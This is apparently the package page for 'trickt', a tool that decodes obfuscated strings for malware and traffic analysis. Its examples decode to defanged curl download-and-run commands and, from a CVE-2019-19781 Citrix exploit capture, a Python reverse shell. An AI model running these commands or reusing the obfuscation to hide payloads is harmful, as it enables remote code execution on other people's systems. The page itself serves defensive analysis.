Skip to main content

trickt

Finds and converts obfuscated strings into a human readable form.

Install

$ pip3 install trickt

Run

Searching individual strings

I refer to obfuscation as trickiness because I'm a child at heart.

trickt outputs strings as byte strings so you can see if there are goofy characters visually.

You can pass a file path to read and decode or decode a string directly.

Base64

  • By default, this only matches base64 strings that are at least 32 characters in length (not including padding). This is an effort to keep noise down.
  • You can change via the API directly or you can use the -m switch.
$ trickt 'Y3VybCBoeHhwczovL3Bhc3RlYmluLmNvbS9yYXcvYmFzZTY0X2VuY29kZWQgPiBiYWRfZmlsZS5zaCAmJiAuL2JhZF9maWxlLnNoCg=='

Searching string for trickiness...

line 1::original:>  b'Y3VybCBoeHhwczovL3Bhc3RlYmluLmNvbS9yYXcvYmFzZTY0X2VuY29kZWQgPiBiYWRfZmlsZS5zaCAmJiAuL2JhZF9maWxlLnNoCg=='
    |
    |--decoded_base64>  b'curl hxxps://pastebin.com/raw/base64_encoded > bad_file.sh && ./bad_file.sh'

Code points

$ trickt 'chr(99) . chr(117) . chr(114) . chr(108) . chr(32) . chr(104) . chr(120) . chr(120) . chr(112) . chr(115) . chr(58) . chr(47) . chr(47) . chr(112) . chr(97) . chr(115) . chr(116) . chr(101) . chr(98) . chr(105) . chr(110) . chr(46) . chr(99) . chr(111) . chr(109) . chr(47) . chr(114) . chr(97) . chr(119) . chr(47) . chr(99) . chr(111) . chr(100) . chr(101) . chr(95) . chr(112) . chr(111) . chr(105) . chr(110) . chr(116) . chr(115) . chr(32) . chr(62) . chr(32) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104) . chr(32) . chr(38) . chr(38) . chr(32) . chr(46) . chr(47) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104)'

Searching string for trickiness...

line 1::original:>  b'chr(99) . chr(117) . chr(114) . chr(108) . chr(32) . chr(104) . chr(120) . chr(120) . chr(112) . chr(115) . chr(58) . chr(47) . chr(47) . chr(112) . chr(97) . chr(115) . chr(116) . chr(101) . chr(98) . chr(105) . chr(110) . chr(46) . chr(99) . chr(111) . chr(109) . chr(47) . chr(114) . chr(97) . chr(119) . chr(47) . chr(99) . chr(111) . chr(100) . chr(101) . chr(95) . chr(112) . chr(111) . chr(105) . chr(110) . chr(116) . chr(115) . chr(32) . chr(62) . chr(32) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104) . chr(32) . chr(38) . chr(38) . chr(32) . chr(46) . chr(47) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104)'
    |
    |--decoded_code_point>  b'curl hxxps://pastebin.com/raw/code_points > bad_file.sh && ./bad_file.sh'

Escaped unicode

$ trickt '\u0063\u0075\u0072\u006c\u0020\u0068\u0078\u0078\u0070\u0073\u003a\u002f\u002f\u0070\u0061\u0073\u0074\u0065\u0062\u0069\u006e\u002e\u0063\u006f\u006d\u002f\u0072\u0061\u0077\u002f\u0065\u0073\u0063\u0061\u0070\u0065\u0064\u005f\u0075\u006e\u0069\u0063\u006f\u0064\u0065\u0020\u003e\u0020\u0062\u0061\u0064\u005f\u0066\u0069\u006c\u0065\u002e\u0073\u0068\u0020\u0026\u0026\u0020\u002e\u002f\u0062\u0061\u0064\u005f\u0066\u0069\u006c\u0065\u002e\u0073\u0068'

Searching string for trickiness...

line 1::original:>  b'\\u0063\\u0075\\u0072\\u006c\\u0020\\u0068\\u0078\\u0078\\u0070\\u0073\\u003a\\u002f\\u002f\\u0070\\u0061\\u0073\\u0074\\u0065\\u0062\\u0069\\u006e\\u002e\\u0063\\u006f\\u006d\\u002f\\u0072\\u0061\\u0077\\u002f\\u0065\\u0073\\u0063\\u0061\\u0070\\u0065\\u0064\\u005f\\u0075\\u006e\\u0069\\u0063\\u006f\\u0064\\u0065\\u0020\\u003e\\u0020\\u0062\\u0061\\u0064\\u005f\\u0066\\u0069\\u006c\\u0065\\u002e\\u0073\\u0068\\u0020\\u0026\\u0026\\u0020\\u002e\\u002f\\u0062\\u0061\\u0064\\u005f\\u0066\\u0069\\u006c\\u0065\\u002e\\u0073\\u0068'
    |
    |--decoded_escaped_characters>  b'curl hxxps://pastebin.com/raw/escaped_unicode > bad_file.sh && ./bad_file.sh'

Escaped hex

$ trickt '\x63\x75\x72\x6C\x20\x68\x78\x78\x70\x73\x3A\x2F\x2F\x70\x61\x73\x74\x65\x62\x69\x6E\x2E\x63\x6F\x6D\x2F\x72\x61\x77\x2F\x65\x73\x63\x61\x70\x65\x64\x5F\x68\x65\x78\x20\x3E\x20\x62\x61\x64\x5F\x66\x69\x6C\x65\x2E\x73\x68\x20\x26\x26\x20\x2E\x2F\x62\x61\x64\x5F\x66\x69\x6C\x65\x2E\x73\x68'

Searching string for trickiness...

line 1::original:>  b'\\x63\\x75\\x72\\x6C\\x20\\x68\\x78\\x78\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x61\\x73\\x74\\x65\\x62\\x69\\x6E\\x2E\\x63\\x6F\\x6D\\x2F\\x72\\x61\\x77\\x2F\\x65\\x73\\x63\\x61\\x70\\x65\\x64\\x5F\\x68\\x65\\x78\\x20\\x3E\\x20\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68\\x20\\x26\\x26\\x20\\x2E\\x2F\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68'
    |
    |--decoded_escaped_characters>  b'curl hxxps://pastebin.com/raw/escaped_hex > bad_file.sh && ./bad_file.sh'

URL Encoding

  • trickt will attempt to decode URL encoding.
  • This is a recipe for noise and false positives without boundaries in place. To compensate, trickt will not return a URL decoding result if there's nothing useful after decoding. It's just noise.

For example, let's look at an exploit attempt for CVE-2019-19781.

This example uses a sample packet capture from: https://dshield.org/forums/diary/Citrix+ADC+Exploits+are+Public+and+Heavily+Used+Attempts+to+Install+Backdoor/25700/

In one of HTTP streams, you find a URL Encoded payload that will decode to a script with code points. If I pass the URL encoded payload to trickt:

$ trickt <a_long_url_encoded_string>

Searching string for trickiness...

line 1::original:>  url=127.0.0.1&title=%5B%25+template.new%28%7B%27BLOCK%27%3D%27print+readpipe%28chr%2847%29+.+chr%28118%29+.+chr%2897%29+.+chr%28114%29+.+chr%2847%29+.+chr%28112%29+.+chr%28121%29+.+chr%28116%29+.+chr%28104%29+.+chr%28111%29+.+chr%28110%29+.+chr%2847%29+.+chr%2898%29+.+chr%28105%29+.+chr%28110%29+.+chr%2847%29+.+chr%28112%29+.+chr%28121%29+.+chr%28116%29+.+chr%28104%29+.+chr%28111%29+.+chr%28110%29+.+chr%2832%29+.+chr%2845%29+.+chr%2899%29+.+chr%2832%29+.+chr%2839%29+.+chr%28105%29+.+chr%28109%29+.+chr%28112%29+.+chr%28111%29+.+chr%28114%29+.+chr%28116%29+.+chr%2832%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2844%29+.+chr%28115%29+.+chr%28117%29+.+chr%2898%29+.+chr%28112%29+.+chr%28114%29+.+chr%28111%29+.+chr%2899%29+.+chr%28101%29+.+chr%28115%29+.+chr%28115%29+.+chr%2844%29+.+chr%28111%29+.+chr%28115%29+.+chr%2859%29+.+chr%28115%29+.+chr%2861%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2846%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2840%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2846%29+.+chr%2865%29+.+chr%2870%29+.+chr%2895%29+.+chr%2873%29+.+chr%2878%29+.+chr%2869%29+.+chr%2884%29+.+chr%2844%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2846%29+.+chr%2883%29+.+chr%2879%29+.+chr%2867%29+.+chr%2875%29+.+chr%2895%29+.+chr%2883%29+.+chr%2884%29+.+chr%2882%29+.+chr%2869%29+.+chr%2865%29+.+chr%2877%29+.+chr%2841%29+.+chr%2859%29+.+chr%28115%29+.+chr%2846%29+.+chr%2899%29+.+chr%28111%29+.+chr%28110%29+.+chr%28110%29+.+chr%28101%29+.+chr%2899%29+.+chr%28116%29+.+chr%2840%29+.+chr%2840%29+.+chr%2834%29+.+chr%2849%29+.+chr%2855%29+.+chr%2850%29+.+chr%2846%29+.+chr%2849%29+.+chr%2854%29+.+chr%2846%29+.+chr%2850%29+.+chr%2857%29+.+chr%2846%29+.+chr%2849%29+.+chr%2834%29+.+chr%2844%29+.+chr%2849%29+.+chr%2850%29+.+chr%2851%29+.+chr%2852%29+.+chr%2853%29+.+chr%2841%29+.+chr%2841%29+.+chr%2859%29+.+chr%28111%29+.+chr%28115%29+.+chr%2846%29+.+chr%28100%29+.+chr%28117%29+.+chr%28112%29+.+chr%2850%29+.+chr%2840%29+.+chr%28115%29+.+chr%2846%29+.+chr%28102%29+.+chr%28105%29+.+chr%28108%29+.+chr%28101%29+.+chr%28110%29+.+chr%28111%29+.+chr%2840%29+.+chr%2841%29+.+chr%2844%29+.+chr%2848%29+.+chr%2841%29+.+chr%2859%29+.+chr%2832%29+.+chr%28111%29+.+chr%28115%29+.+chr%2846%29+.+chr%28100%29+.+chr%28117%29+.+chr%28112%29+.+chr%2850%29+.+chr%2840%29+.+chr%28115%29+.+chr%2846%29+.+chr%28102%29+.+chr%28105%29+.+chr%28108%29+.+chr%28101%29+.+chr%28110%29+.+chr%28111%29+.+chr%2840%29+.+chr%2841%29+.+chr%2844%29+.+chr%2849%29+.+chr%2841%29+.+chr%2859%29+.+chr%2832%29+.+chr%28111%29+.+chr%28115%29+.+chr%2846%29+.+chr%28100%29+.+chr%28117%29+.+chr%28112%29+.+chr%2850%29+.+chr%2840%29+.+chr%28115%29+.+chr%2846%29+.+chr%28102%29+.+chr%28105%29+.+chr%28108%29+.+chr%28101%29+.+chr%28110%29+.+chr%28111%29+.+chr%2840%29+.+chr%2841%29+.+chr%2844%29+.+chr%2850%29+.+chr%2841%29+.+chr%2859%29+.+chr%28112%29+.+chr%2861%29+.+chr%28115%29+.+chr%28117%29+.+chr%2898%29+.+chr%28112%29+.+chr%28114%29+.+chr%28111%29+.+chr%2899%29+.+chr%28101%29+.+chr%28115%29+.+chr%28115%29+.+chr%2846%29+.+chr%2899%29+.+chr%2897%29+.+chr%28108%29+.+chr%28108%29+.+chr%2840%29+.+chr%2891%29+.+chr%2834%29+.+chr%2847%29+.+chr%2898%29+.+chr%28105%29+.+chr%28110%29+.+chr%2847%29+.+chr%28115%29+.+chr%28104%29+.+chr%2834%29+.+chr%2844%29+.+chr%2834%29+.+chr%2845%29+.+chr%28105%29+.+chr%2834%29+.+chr%2893%29+.+chr%2841%29+.+chr%2859%29+.+chr%2839%29%29%27%7D%29%25%5D&desc=desc&UI_inuse=a
    |
    |--decoded_url_encoded>  url=127.0.0.1&title=[%+template.new({'BLOCK'='print+readpipe(chr(47)+.+chr(118)+.+chr(97)+.+chr(114)+.+chr(47)+.+chr(112)+.+chr(121)+.+chr(116)+.+chr(104)+.+chr(111)+.+chr(110)+.+chr(47)+.+chr(98)+.+chr(105)+.+chr(110)+.+chr(47)+.+chr(112)+.+chr(121)+.+chr(116)+.+chr(104)+.+chr(111)+.+chr(110)+.+chr(32)+.+chr(45)+.+chr(99)+.+chr(32)+.+chr(39)+.+chr(105)+.+chr(109)+.+chr(112)+.+chr(111)+.+chr(114)+.+chr(116)+.+chr(32)+.+chr(115)+.+chr(111)+.+chr(99)+.+chr(107)+.+chr(101)+.+chr(116)+.+chr(44)+.+chr(115)+.+chr(117)+.+chr(98)+.+chr(112)+.+chr(114)+.+chr(111)+.+chr(99)+.+chr(101)+.+chr(115)+.+chr(115)+.+chr(44)+.+chr(111)+.+chr(115)+.+chr(59)+.+chr(115)+.+chr(61)+.+chr(115)+.+chr(111)+.+chr(99)+.+chr(107)+.+chr(101)+.+chr(116)+.+chr(46)+.+chr(115)+.+chr(111)+.+chr(99)+.+chr(107)+.+chr(101)+.+chr(116)+.+chr(40)+.+chr(115)+.+chr(111)+.+chr(99)+.+chr(107)+.+chr(101)+.+chr(116)+.+chr(46)+.+chr(65)+.+chr(70)+.+chr(95)+.+chr(73)+.+chr(78)+.+chr(69)+.+chr(84)+.+chr(44)+.+chr(115)+.+chr(111)+.+chr(99)+.+chr(107)+.+chr(101)+.+chr(116)+.+chr(46)+.+chr(83)+.+chr(79)+.+chr(67)+.+chr(75)+.+chr(95)+.+chr(83)+.+chr(84)+.+chr(82)+.+chr(69)+.+chr(65)+.+chr(77)+.+chr(41)+.+chr(59)+.+chr(115)+.+chr(46)+.+chr(99)+.+chr(111)+.+chr(110)+.+chr(110)+.+chr(101)+.+chr(99)+.+chr(116)+.+chr(40)+.+chr(40)+.+chr(34)+.+chr(49)+.+chr(55)+.+chr(50)+.+chr(46)+.+chr(49)+.+chr(54)+.+chr(46)+.+chr(50)+.+chr(57)+.+chr(46)+.+chr(49)+.+chr(34)+.+chr(44)+.+chr(49)+.+chr(50)+.+chr(51)+.+chr(52)+.+chr(53)+.+chr(41)+.+chr(41)+.+chr(59)+.+chr(111)+.+chr(115)+.+chr(46)+.+chr(100)+.+chr(117)+.+chr(112)+.+chr(50)+.+chr(40)+.+chr(115)+.+chr(46)+.+chr(102)+.+chr(105)+.+chr(108)+.+chr(101)+.+chr(110)+.+chr(111)+.+chr(40)+.+chr(41)+.+chr(44)+.+chr(48)+.+chr(41)+.+chr(59)+.+chr(32)+.+chr(111)+.+chr(115)+.+chr(46)+.+chr(100)+.+chr(117)+.+chr(112)+.+chr(50)+.+chr(40)+.+chr(115)+.+chr(46)+.+chr(102)+.+chr(105)+.+chr(108)+.+chr(101)+.+chr(110)+.+chr(111)+.+chr(40)+.+chr(41)+.+chr(44)+.+chr(49)+.+chr(41)+.+chr(59)+.+chr(32)+.+chr(111)+.+chr(115)+.+chr(46)+.+chr(100)+.+chr(117)+.+chr(112)+.+chr(50)+.+chr(40)+.+chr(115)+.+chr(46)+.+chr(102)+.+chr(105)+.+chr(108)+.+chr(101)+.+chr(110)+.+chr(111)+.+chr(40)+.+chr(41)+.+chr(44)+.+chr(50)+.+chr(41)+.+chr(59)+.+chr(112)+.+chr(61)+.+chr(115)+.+chr(117)+.+chr(98)+.+chr(112)+.+chr(114)+.+chr(111)+.+chr(99)+.+chr(101)+.+chr(115)+.+chr(115)+.+chr(46)+.+chr(99)+.+chr(97)+.+chr(108)+.+chr(108)+.+chr(40)+.+chr(91)+.+chr(34)+.+chr(47)+.+chr(98)+.+chr(105)+.+chr(110)+.+chr(47)+.+chr(115)+.+chr(104)+.+chr(34)+.+chr(44)+.+chr(34)+.+chr(45)+.+chr(105)+.+chr(34)+.+chr(93)+.+chr(41)+.+chr(59)+.+chr(39))'})%]&desc=desc&UI_inuse=a
        |
        |--decoded_code_point>  /var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Now, let's pass in part of that URL encoded string that does not contain the code points. There are no results because decoding the URL encoded string yields nothing interesting according to trickt.

$ trickt "url=127.0.0.1&title=%5B%25+template.new%28%7B%27BLOCK%27%3D%27print+readpipe%28"

Searching string for trickiness...

Searching an entire file

$ cat my_bad_file.txt 
nothing on this line
XHg2M1x4NzVceDcyXHg2Q1x4MjBceDY4XHg3OFx4NzhceDcwXHg3M1x4M0FceDJGXHgyRlx4NzBceDYxXHg3M1x4NzRceDY1XHg2Mlx4NjlceDZFXHgyRVx4NjNceDZGXHg2RFx4MkZceDcyXHg2MVx4NzdceDJGXHg2NVx4NzNceDYzXHg2MVx4NzBceDY1XHg2NFx4NUZceDY4XHg2NVx4NzhceDVGXHg2RVx4NjVceDczXHg3NFx4NjVceDY0XHgyMFx4M0VceDIwXHg2Mlx4NjFceDY0XHg1Rlx4NjZceDY5XHg2Q1x4NjVceDJFXHg3M1x4NjhceDIwXHgyNlx4MjZceDIwXHgyRVx4MkZceDYyXHg2MVx4NjRceDVGXHg2Nlx4NjlceDZDXHg2NVx4MkVceDczXHg2OAo=
nothing on this line
nothing on this line
<element><element2>\u0063\u0075\u0072\u006c\u0020\u0068\u0078\u0078\u0070\u0073\u003a\u002f\u002f\u0070\u0061\u0073\u0074\u0065\u0062\u0069\u006e\u002e\u0063\u006f\u006d\u002f\u0072\u0061\u0077\u002f\u0065\u0073\u0063\u0061\u0070\u0065\u0064\u005f\u0075\u006e\u0069\u0063\u006f\u0064\u0065\u0020\u003e\u0020\u0062\u0061\u0064\u005f\u0066\u0069\u006c\u0065\u002e\u0073\u0068\u0020\u0026\u0026\u0020\u002e\u002f\u0062\u0061\u0064\u005f\u0066\u0069\u006c\u0065\u002e\u0073\u0068</element2></element>
nothing on this line
my_hex = '\x63\x75\x72\x6C\x20\x68\x78\x78\x70\x73\x3A\x2F\x2F' + '\x70\x61\x73\x74\x65\x62\x69\x6E\x2E\x63\x6F\x6D\x2F' + '\x72\x61\x77\x2F\x65\x73\x63\x61\x70\x65\x64\x5F\x68\x65\x78\x20\x3E\x20\x62\x61\x64\x5F\x66\x69\x6C\x65' + '\x2E\x73\x68\x20\x26\x26\x20\x2E\x2F\x62\x61\x64\x5F\x66\x69' + '\x6C\x65\x2E\x73\x68'
nothing on this line
oops, forgot my script here:  readpipe(chr(99) . chr(117) . chr(114) . chr(108) . chr(32) . chr(104) . chr(120) . chr(120) . chr(112) . chr(115) . chr(58) . chr(47) . chr(47) . chr(112) . chr(97) . chr(115) . chr(116) . chr(101) . chr(98) . chr(105) . chr(110) . chr(46) . chr(99) . chr(111) . chr(109) . chr(47) . chr(114) . chr(97) . chr(119) . chr(47) . chr(99) . chr(111) . chr(100) . chr(101) . chr(95) . chr(112) . chr(111) . chr(105) . chr(110) . chr(116) . chr(115) . chr(32) . chr(62) . chr(32) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104) . chr(32) . chr(38) . chr(38) . chr(32) . chr(46) . chr(47) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104)) which I hope you don't catch
nothing on this line
$ trickt my_bad_file.txt 

Searching file 'my_bad_file.txt' for trickiness...

line 2::original:>  b'XHg2M1x4NzVceDcyXHg2Q1x4MjBceDY4XHg3OFx4NzhceDcwXHg3M1x4M0FceDJGXHgyRlx4NzBceDYxXHg3M1x4NzRceDY1XHg2Mlx4NjlceDZFXHgyRVx4NjNceDZGXHg2RFx4MkZceDcyXHg2MVx4NzdceDJGXHg2NVx4NzNceDYzXHg2MVx4NzBceDY1XHg2NFx4NUZceDY4XHg2NVx4NzhceDVGXHg2RVx4NjVceDczXHg3NFx4NjVceDY0XHgyMFx4M0VceDIwXHg2Mlx4NjFceDY0XHg1Rlx4NjZceDY5XHg2Q1x4NjVceDJFXHg3M1x4NjhceDIwXHgyNlx4MjZceDIwXHgyRVx4MkZceDYyXHg2MVx4NjRceDVGXHg2Nlx4NjlceDZDXHg2NVx4MkVceDczXHg2OAo=\n'
    |
    |--decoded_base64>  b'\\x63\\x75\\x72\\x6C\\x20\\x68\\x78\\x78\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x61\\x73\\x74\\x65\\x62\\x69\\x6E\\x2E\\x63\\x6F\\x6D\\x2F\\x72\\x61\\x77\\x2F\\x65\\x73\\x63\\x61\\x70\\x65\\x64\\x5F\\x68\\x65\\x78\\x5F\\x6E\\x65\\x73\\x74\\x65\\x64\\x20\\x3E\\x20\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68\\x20\\x26\\x26\\x20\\x2E\\x2F\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68'
        |
        |--decoded_escaped_characters>  b'curl hxxps://pastebin.com/raw/escaped_hex_nested > bad_file.sh && ./bad_file.sh'

line 5::original:>  b'<element><element2>\\u0063\\u0075\\u0072\\u006c\\u0020\\u0068\\u0078\\u0078\\u0070\\u0073\\u003a\\u002f\\u002f\\u0070\\u0061\\u0073\\u0074\\u0065\\u0062\\u0069\\u006e\\u002e\\u0063\\u006f\\u006d\\u002f\\u0072\\u0061\\u0077\\u002f\\u0065\\u0073\\u0063\\u0061\\u0070\\u0065\\u0064\\u005f\\u0075\\u006e\\u0069\\u0063\\u006f\\u0064\\u0065\\u0020\\u003e\\u0020\\u0062\\u0061\\u0064\\u005f\\u0066\\u0069\\u006c\\u0065\\u002e\\u0073\\u0068\\u0020\\u0026\\u0026\\u0020\\u002e\\u002f\\u0062\\u0061\\u0064\\u005f\\u0066\\u0069\\u006c\\u0065\\u002e\\u0073\\u0068</element2></element>\n'
    |
    |--decoded_escaped_characters>  b'curl hxxps://pastebin.com/raw/escaped_unicode > bad_file.sh && ./bad_file.sh'

line 5::original:>  b'<element><element2>\\u0063\\u0075\\u0072\\u006c\\u0020\\u0068\\u0078\\u0078\\u0070\\u0073\\u003a\\u002f\\u002f\\u0070\\u0061\\u0073\\u0074\\u0065\\u0062\\u0069\\u006e\\u002e\\u0063\\u006f\\u006d\\u002f\\u0072\\u0061\\u0077\\u002f\\u0065\\u0073\\u0063\\u0061\\u0070\\u0065\\u0064\\u005f\\u0075\\u006e\\u0069\\u0063\\u006f\\u0064\\u0065\\u0020\\u003e\\u0020\\u0062\\u0061\\u0064\\u005f\\u0066\\u0069\\u006c\\u0065\\u002e\\u0073\\u0068\\u0020\\u0026\\u0026\\u0020\\u002e\\u002f\\u0062\\u0061\\u0064\\u005f\\u0066\\u0069\\u006c\\u0065\\u002e\\u0073\\u0068</element2></element>\n'
    |
    |--decoded_base64>  b'\xbbM:\xde\xed4\xef\x9b\xb4\xd3\xbd\xae\xd3N\x9c\xbbM6\xd2\xed4\xeb\xcb\xb4\xd3\xbf.\xd3N\xfc\xbbM;\xd2\xed4\xef{\xb4\xd3v\xae\xd3M\x9f\xbbM6~\xed4\xefK\xb4\xd3\xadn\xd3N\xf7\xbbM;\xe2\xed4\xeb\x9b\xb4\xd3\xad\xae\xd3N\xbd\xbbM:z\xed4\xd9\xeb\xb4\xd3\xad\xee\xd3N\x9f\xbbM:v\xed4\xd9\xfb\xb4\xd3\xbd\xae\xd3N\xb5\xbbM;\xee\xed4\xd9\xfb\xb4\xd3\xaen\xd3N\xf7\xbbM:\xde\xed4\xeb[\xb4\xd3\xbd.\xd3N\xb9\xbbM:\xe2\xed4\xe5\xfb\xb4\xd3\xben\xd3N\x9e\xbbM:\xf6\xed4\xeb{\xb4\xd3\xa7\xee\xd3N\xb8\xbbM:\xe6\xed4\xdbK\xb4\xd3w\xae\xd3M\xb4\xbbM:\xda\xed4\xeb[\xb4\xd3\xae.\xd3N_\xbbM:\xea\xed4\xeb\xdb\xb4\xd3\xa7.\xd3N\xb9\xbbM6z\xed4\xef{\xb4\xd3\xaf.\xd3M\xb4\xbbM6\xea\xed4\xdb\xab\xb4\xd3m.\xd3M\x9e\xbbM6~\xed4\xebk\xb4\xd3\xadn\xd3N\xb8\xbbM9~\xed4\xeb\xab\xb4\xd3\xafn\xd3N\x9c\xbbM:\xe6\xed4\xd9\xeb\xb4\xd3\xbd\xee\xd3N\xbc'

line 7::original:>  b"my_hex = '\\x63\\x75\\x72\\x6C\\x20\\x68\\x78\\x78\\x70\\x73\\x3A\\x2F\\x2F' + '\\x70\\x61\\x73\\x74\\x65\\x62\\x69\\x6E\\x2E\\x63\\x6F\\x6D\\x2F' + '\\x72\\x61\\x77\\x2F\\x65\\x73\\x63\\x61\\x70\\x65\\x64\\x5F\\x68\\x65\\x78\\x20\\x3E\\x20\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65' + '\\x2E\\x73\\x68\\x20\\x26\\x26\\x20\\x2E\\x2F\\x62\\x61\\x64\\x5F\\x66\\x69' + '\\x6C\\x65\\x2E\\x73\\x68'\n"
    |
    |--decoded_escaped_characters>  b'curl hxxps://pastebin.com/raw/escaped_hex > bad_file.sh && ./bad_file.sh'

line 9::original:>  b"oops, forgot my script here:  readpipe(chr(99) . chr(117) . chr(114) . chr(108) . chr(32) . chr(104) . chr(120) . chr(120) . chr(112) . chr(115) . chr(58) . chr(47) . chr(47) . chr(112) . chr(97) . chr(115) . chr(116) . chr(101) . chr(98) . chr(105) . chr(110) . chr(46) . chr(99) . chr(111) . chr(109) . chr(47) . chr(114) . chr(97) . chr(119) . chr(47) . chr(99) . chr(111) . chr(100) . chr(101) . chr(95) . chr(112) . chr(111) . chr(105) . chr(110) . chr(116) . chr(115) . chr(32) . chr(62) . chr(32) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104) . chr(32) . chr(38) . chr(38) . chr(32) . chr(46) . chr(47) . chr(98) . chr(97) . chr(100) . chr(95) . chr(102) . chr(105) . chr(108) . chr(101) . chr(46) . chr(115) . chr(104)) which I hope you don't catch\n"
    |
    |--decoded_code_point>  b'curl hxxps://pastebin.com/raw/code_points > bad_file.sh && ./bad_file.sh'

Pretty print

If you don't like looking at escaped new-line and tab characters, you can pretty print with the -p or --pretty switches.

Without --pretty:

$ trickt 'WwoJewoJCSJrZXkiOiAidmFsdWUgd2l0aCBubyB0cmlja2luZXNzIiwKCQkibmFpdmUtY29tbWFuZHMiOiBbCgkJCSJPeUJqZFhKc0lHaDRlSEJiT2wwdkwySmhaR2QxZVM1amIyMHZiV0ZzZWlBK0lISjFibTFsTG5Ob0lDWW1JR05vYlc5a0lDdDRJSEoxYm0xbExuTm9JQ1ltSUM0dmNuVnViV1V1YzJnN0NnPT0iLAoJCQkibHMgLWFsaCIKCQldLAoJCSJkdXJhdGlvbiI6IDM2MDAsCgkJImRpY3QiOiB7CgkJCSJpbm5lci1rZXkiOiAiaW5uZXItdmFsdWUiCgkJfQoJfQpdCg=='

Searching string for trickiness...

line 1::original:>  b'WwoJewoJCSJrZXkiOiAidmFsdWUgd2l0aCBubyB0cmlja2luZXNzIiwKCQkibmFpdmUtY29tbWFuZHMiOiBbCgkJCSJPeUJqZFhKc0lHaDRlSEJiT2wwdkwySmhaR2QxZVM1amIyMHZiV0ZzZWlBK0lISjFibTFsTG5Ob0lDWW1JR05vYlc5a0lDdDRJSEoxYm0xbExuTm9JQ1ltSUM0dmNuVnViV1V1YzJnN0NnPT0iLAoJCQkibHMgLWFsaCIKCQldLAoJCSJkdXJhdGlvbiI6IDM2MDAsCgkJImRpY3QiOiB7CgkJCSJpbm5lci1rZXkiOiAiaW5uZXItdmFsdWUiCgkJfQoJfQpdCg=='
    |
    |--decoded_base64>  b'[\n\t{\n\t\t"key": "value with no trickiness",\n\t\t"naive-commands": [\n\t\t\t"OyBjdXJsIGh4eHBbOl0vL2JhZGd1eS5jb20vbWFseiA+IHJ1bm1lLnNoICYmIGNobW9kICt4IHJ1bm1lLnNoICYmIC4vcnVubWUuc2g7Cg==",\n\t\t\t"ls -alh"\n\t\t],\n\t\t"duration": 3600,\n\t\t"dict": {\n\t\t\t"inner-key": "inner-value"\n\t\t}\n\t}\n]'
        |
        |--decoded_base64>  b'; curl hxxp[:]//badguy.com/malz > runme.sh && chmod +x runme.sh && ./runme.sh;'

With --pretty:

$ trickt --pretty 'WwoJewoJCSJrZXkiOiAidmFsdWUgd2l0aCBubyB0cmlja2luZXNzIiwKCQkibmFpdmUtY29tbWFuZHMiOiBbCgkJCSJPeUJqZFhKc0lHaDRlSEJiT2wwdkwySmhaR2QxZVM1amIyMHZiV0ZzZWlBK0lISjFibTFsTG5Ob0lDWW1JR05vYlc5a0lDdDRJSEoxYm0xbExuTm9JQ1ltSUM0dmNuVnViV1V1YzJnN0NnPT0iLAoJCQkibHMgLWFsaCIKCQldLAoJCSJkdXJhdGlvbiI6IDM2MDAsCgkJImRpY3QiOiB7CgkJCSJpbm5lci1rZXkiOiAiaW5uZXItdmFsdWUiCgkJfQoJfQpdCg=='

Searching string for trickiness...

line 1::original:>  WwoJewoJCSJrZXkiOiAidmFsdWUgd2l0aCBubyB0cmlja2luZXNzIiwKCQkibmFpdmUtY29tbWFuZHMiOiBbCgkJCSJPeUJqZFhKc0lHaDRlSEJiT2wwdkwySmhaR2QxZVM1amIyMHZiV0ZzZWlBK0lISjFibTFsTG5Ob0lDWW1JR05vYlc5a0lDdDRJSEoxYm0xbExuTm9JQ1ltSUM0dmNuVnViV1V1YzJnN0NnPT0iLAoJCQkibHMgLWFsaCIKCQldLAoJCSJkdXJhdGlvbiI6IDM2MDAsCgkJImRpY3QiOiB7CgkJCSJpbm5lci1rZXkiOiAiaW5uZXItdmFsdWUiCgkJfQoJfQpdCg==
    |
    |--decoded_base64>  [
        {
                "key": "value with no trickiness",
                "naive-commands": [
                        "OyBjdXJsIGh4eHBbOl0vL2JhZGd1eS5jb20vbWFseiA+IHJ1bm1lLnNoICYmIGNobW9kICt4IHJ1bm1lLnNoICYmIC4vcnVubWUuc2g7Cg==",
                        "ls -alh"
                ],
                "duration": 3600,
                "dict": {
                        "inner-key": "inner-value"
                }
        }
]
        |
